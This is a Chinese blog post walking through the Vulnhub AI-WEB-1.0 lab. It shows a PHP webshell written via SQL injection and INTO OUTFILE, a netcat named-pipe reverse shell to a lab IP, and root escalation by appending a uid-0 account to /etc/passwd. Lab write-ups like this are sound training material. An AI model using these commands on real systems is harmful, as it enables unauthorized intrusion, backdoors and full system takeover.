当前位置:网站首页>记录自己vulnhub闯关记录
记录自己vulnhub闯关记录
2022-07-03 11:54:00 【小秦同学呀】
前言
该文章只是记录vulnhub上的闯关记录,用到的一些方法,因为提权这块是新学的,所以文章可能重点关于这块介绍的比较多。
AI-WEB-1.0
这里的话,先常规扫描,我是用masscan扫的(nmap太慢了)。
这里可以先去kali上看下自己的配置。
此处的虚拟网络编辑器,然后就可以看到
masscan 192.168.252.0/24 --top-ports 100 --rate 1000
这里扫描会发现有ip段开着80端口,然后去访问80端口
会发现80端口是个这玩意儿,日,常规思路,上扫描器(dirsearch)
python3 dirsearch.py -u xxxx
这里就发现有robots.txt,去robots.txt中访问。发现有SQL注入点。有SQL注入点就可以使用select into oufile来进行写马。(这里复习一下into outfile写马)
示例:
select '<?php phpinfo();eval($_POST[1]);?>' into outfile '绝对路径';
into outfile写马要求:
(1)高权限账号
(2)secure_file_priv需要是'';
(3)知道网站的绝对路径

这里让我异或了很久,网站绝对路径一般都是/var/www/html这种,但是我连不上,看了大哥们的wp之后才发现,还是我比较粗心导致的,人家给的robots.txt中上面那个目录还需要进行扫描(…)
咳咳咳,进行扫描发现,有info.php,知道绝对路径,就尝试使用into outfile进行写马
踩坑1:
我以为,写到哪个目录都好使,日,当出现priv没有开启之后,我以为是日志写马,试了半天。。。。。。。。无果,又去剽窃大佬们wp发现,自己目录写错了。。。。。。。。。。。。。。
咳咳咳,收回正题,连接上shell.php之后发现,是一个www-data权限
完完全全需要进行一个提权操作。这里很疑惑,sudo是需要进一个终端进行操作。
踩坑2
反弹shell,(属实看不懂大佬们咋构造的,bash反弹弹不上去,nc连上去没反应)有理解的各位,私信一波。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.252.134 6666 >/tmp/f
这里就可以进行正常反弹shell,发现/etc/passwd有读写权限,然后参照root写入即可。
openssl -1 -salt echo echo
可以通过参照下图来进行写入
echo 'echo:1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash' >>/etc/passwd
python进入交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
提升到root权限
总结
(1)可以往/etc/passwd中填写root信息,然后来进行提权
(2)可以用openssl来进行字符串的预设定
(3)使用nc命令的奇怪姿势(菜鸟表示看不懂)
边栏推荐
- Display time with message interval of more than 1 minute in wechat applet discussion area
- Basic knowledge of OpenGL (sort it out according to your own understanding)
- Socket TCP for network communication (I)
- 雲計算未來 — 雲原生
- Kubectl_ Command experience set
- [combinatorics] permutation and combination (summary of permutation and combination content | selection problem | set permutation | set combination)
- 2020-11_ Technical experience set
- 抓包整理外篇fiddler———— 会话栏与过滤器[二]
- LeetCode 0556. Next bigger element III - end of step 4
- adb push apk
猜你喜欢

Develop plug-ins for idea

Shardingsphere sub database and sub table < 3 >
![Sword finger offer03 Repeated numbers in the array [simple]](/img/cf/c1ad2f2a45560b674b5b8c11fed244.png)
Sword finger offer03 Repeated numbers in the array [simple]

Basic knowledge of OpenGL (sort it out according to your own understanding)

Wechat applet - basic content

2.7 overview of livedata knowledge points
![[official MySQL document] deadlock](/img/2d/04e97d696f20c2524701888ea9cd10.png)
[official MySQL document] deadlock

剑指Offer04. 二维数组中的查找【中等】

Symlink(): solution to protocol error in PHP artisan storage:link on win10

Qt+vtk+occt reading iges/step model
随机推荐
Flutter Widget : Flow
elastic_ L02_ install
抓包整理外篇fiddler———— 会话栏与过滤器[二]
New features of ES6
102. Sequence traversal of binary tree
Eureka self protection
PHP get the file list and folder list under the folder
20. Valid brackets
(构造笔记)GRASP学习心得
2020-09_ Shell Programming Notes
Applet wxss introduction
Flutter Widget : KeyedSubtree
flinksql是可以直接客户端建表读mysql或是kafka数据,但是怎么让它自动流转计算起来呢?
Is it safe to open an account for online stock speculation? Who can answer
剑指Offer06. 从尾到头打印链表
[download attached] password acquisition tool lazagne installation and use
Qt+vtk+occt reading iges/step model
239. Sliding window maximum
regular expression
(construction notes) grasp learning experience